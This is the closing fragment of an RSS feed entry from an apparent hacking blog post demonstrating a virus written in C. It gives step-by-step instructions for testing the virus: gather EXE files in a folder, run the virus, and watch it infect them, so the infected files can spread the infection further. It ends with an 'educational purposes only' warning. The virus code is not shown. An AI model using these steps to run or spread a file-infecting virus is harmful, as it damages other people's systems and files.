<h3>HOW TO TEST:</h3>
<div>&nbsp;</div>
<p>1. Open new empty folder</p>
<p>2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH &amp; PASTING IN THE NEW FOLDER)</p>
<p>3. Run the virus EXE file there you will see all the files in the current directory get infected.</p>
<p>4. All the infected files will be ready to reinfect</p>
<p>That&#8217;s it</p>
<div class='stb-warning_box' ><strong>WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE</strong></div>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=29&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2007/12/c-program-to-demonstrate-virus-in-c.html/feed</wfw:commentRss>
		<slash:comments>81</slash:comments>
		</item>
	</channel>
</rss>
